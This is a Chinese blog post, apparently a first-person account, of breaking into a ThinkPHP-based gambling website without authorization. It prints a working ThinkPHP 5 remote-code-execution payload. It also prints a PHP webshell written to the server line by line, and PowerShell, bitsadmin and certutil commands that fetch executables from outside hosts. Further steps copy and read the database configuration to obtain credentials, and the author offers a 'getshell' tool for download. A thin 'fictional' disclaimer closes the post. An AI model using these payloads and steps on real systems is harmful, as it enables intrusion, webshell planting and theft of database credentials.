菠菜安全测试

📅 2026/6/28 22:06:27
菠菜安全测试
前言无意间发现一个thinkphp的菠菜站最近tp不是刚好有个漏洞吗然后就顺手测试了一下但过程并不太顺利不过最后还是拿下了所以特发此文分享下思路。0x00 一键getshell简单看了下应该有不少人玩吧正好前几天写了个测试工具先掏出来测试一发。工具显示存在漏洞一键getshell看起来很顺利的样子哈哈。但是...小明甩了下头发发现事情并不简单。菜刀连接的时候返回500错误。我们用火狐的hackbar验证下,没毛病啊那为什么菜刀连接不上呢作为菜逼的我不禁陷入了沉思...0x01 开始分析因为这个工具我自己写的从上面getshell的图片中发现调用的是第三个exp那么我们来分析下看看。poc如下/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]dir我们在poc后面输入whoami看看权限。/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoamiiis权限但是可以执行部分命令比如echo dir等等。0x02 尝试突破拿shell既然可以执行echo 那么我们可以来尝试写入个小马试试如果成功的话再利用小马上传大马说干就干苦活来了我们得一行一行写入进去。注意代码中的符号要用^^转义。比如?php转义为^^?php?php header(content-Type: text/html; charsetgb2312); if(get_magic_quotes_gpc()) foreach($_POST as $k$v) $_POST[$k] stripslashes($v); ? form methodPOST 保存文件名: input typetext namefile size60 value? echo str_replace(\\,/,__FILE__) ? brbr textarea nametext COLS70 ROWS18 /textarea brbr input typesubmit namesubmit value保存 form ?php if(isset($_POST[file])) { $fp fopen($_POST[file],wb); echo fwrite($fp,$_POST[text]) ? 保存成功! : 保存失败!; fclose($fp); } ?逐行写入完成后访问的时候发现并不能正常运行这里忘记截图了。。接下来尝试用以下方法下载文件到服务器上也失败了。powershell下载 注意内核5.2以下版本可能无效 powershell (new-object System.Net.WebClient).DownloadFile( http://192.168.174.145/ssss2.exe,C:\ssss2.exe) bitsadmin下载 bitsadmin /transfer n http://baidu.com/PSTools.zip C:\PSTools.zip 注意不支持https、ftp协议使用kali的simplehttpserver作服务器会报错正当我打算放弃的时候我想起来还有个下载的命令没用。那就是certutil.exe说干就干把大马放到我们服务器上开启HFS。然后执行以下命令。certutil.exe -split -urlcache -f http://ww.baidu.com/svchost.exe svchost.exe成功进入大马不过别高兴太早。小明再次甩了下头发发现事情更不简单....大马可以操作文件上传改名等等但是无法编辑文件无法查看文件源码等等点开显示一片空白。既然这样那么我们进数据库看看吧。我们都知道tp的数据库配置文件在以下这个位置/application/database.php大马是无法打开了那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]type c:\www\application\database.php尝试type读取失败然后又想到copy命令。把database.php拷贝到web根目录下改名为1.txt/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]copy c:\www\application\database.php c:\www\public\1.txt拷贝完成以后访问url/1.txt发现里面是空的。0x03 成功突破经历了一系列的失败后我冷静下来想了下我们还可以用file_path去读取源码试试。?php用大马上传这个文件到根目录下然后访问成功拿到数据库配置信息。然后填写好配置信息进入数据库。此文写到这里已经夜深人静看着桌子上吃了一半的泡面最后喝了两口汤关机睡觉......后记本文纯属虚构如有雷同拒绝查水表。tp5测试工具我更新了下添加了3个getshell方法。回复即可下载。免责声明工具只能用于测试漏洞禁止用于非法用途否则一切后果自负。